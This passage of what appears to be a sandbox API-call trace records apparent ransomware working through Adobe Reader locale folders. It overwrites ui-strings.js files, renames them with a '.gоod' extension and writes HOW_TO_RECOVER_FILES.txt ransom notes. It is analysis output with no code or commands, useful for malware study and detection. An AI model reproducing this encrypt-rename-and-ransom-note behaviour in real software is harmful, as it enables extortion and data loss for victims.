dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0145.310] GetFileType (hFile=0x7fc) returned 0x1 [0145.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0145.310] GetFileType (hFile=0x7fc) returned 0x1 [0145.310] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0145.311] ReadFile (in: hFile=0x7fc, lpBuffer=0x37ca848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37ca848*, lpNumberOfBytesRead=0x1ffebaa8*=0x17d, lpOverlapped=0x0) returned 1 [0145.350] CloseHandle (hObject=0x7fc) returned 1 [0145.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0145.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0145.351] GetFileType (hFile=0x7fc) returned 0x1 [0145.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0145.351] GetFileType (hFile=0x7fc) returned 0x1 [0145.351] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x117d [0145.351] WriteFile (in: hFile=0x7fc, lpBuffer=0x3848590*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3848590*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0145.351] CloseHandle (hObject=0x7fc) returned 1 [0145.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0145.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0145.352] GetFileType (hFile=0x7fc) returned 0x1 [0145.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0145.352] GetFileType (hFile=0x7fc) returned 0x1 [0145.352] ReadFile (in: hFile=0x7fc, lpBuffer=0x384a8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x384a8b0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0145.808] CloseHandle (hObject=0x7fc) returned 1 [0145.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0145.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0145.808] GetFileType (hFile=0x7fc) returned 0x1 [0145.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0145.808] GetFileType (hFile=0x7fc) returned 0x1 [0145.808] WriteFile (in: hFile=0x7fc, lpBuffer=0x35fbbc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35fbbc0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0145.808] CloseHandle (hObject=0x7fc) returned 1 [0145.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.809] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0145.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0145.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x531ffb7d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x118d)) returned 1 [0145.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0145.809] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0145.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0145.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0145.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0145.811] GetFileType (hFile=0x7fc) returned 0x1 [0145.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0145.811] GetFileType (hFile=0x7fc) returned 0x1 [0145.811] WriteFile (in: hFile=0x7fc, lpBuffer=0x37b8b78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37b8b78*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0145.812] CloseHandle (hObject=0x7fc) returned 1 [0145.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0145.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x68 [0145.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0145.813] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.813] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0145.813] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.813] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0145.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0145.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0145.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0145.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x68 [0145.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0145.814] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.814] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0145.814] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0145.814] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0145.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0145.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0145.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0145.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37c8730 | out: lpFileInformation=0x37c8730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf1f)) returned 1 [0145.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0145.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0145.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0145.815] GetFileType (hFile=0x7fc) returned 0x1 [0145.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0145.815] GetFileType (hFile=0x7fc) returned 0x1 [0145.815] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xf1f [0145.815] ReadFile (in: hFile=0x7fc, lpBuffer=0x37c99b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x37c99b8*, lpNumberOfBytesRead=0x1ffeba08*=0xf1f, lpOverlapped=0x0) returned 1 [0147.012] CloseHandle (hObject=0x7fc) returned 1 [0147.047] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0147.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.049] GetFileType (hFile=0x7fc) returned 0x1 [0147.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0147.049] GetFileType (hFile=0x7fc) returned 0x1 [0147.049] WriteFile (in: hFile=0x7fc, lpBuffer=0x3b9f7d0*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3b9f7d0*, lpNumberOfBytesWritten=0x1ffeb918*=0xf20, lpOverlapped=0x0) returned 1 [0147.050] CloseHandle (hObject=0x7fc) returned 1 [0147.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0147.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0147.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x53dc544a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf20)) returned 1 [0147.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0147.050] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\ui-strings.js.gоod")) returned 1 [0147.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0147.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0147.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0147.051] GetFileType (hFile=0x7fc) returned 0x1 [0147.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0147.051] GetFileType (hFile=0x7fc) returned 0x1 [0147.052] WriteFile (in: hFile=0x7fc, lpBuffer=0x3ba3040*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3ba3040*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0147.053] CloseHandle (hObject=0x7fc) returned 1 [0147.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.053] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x68 [0147.053] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.054] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, 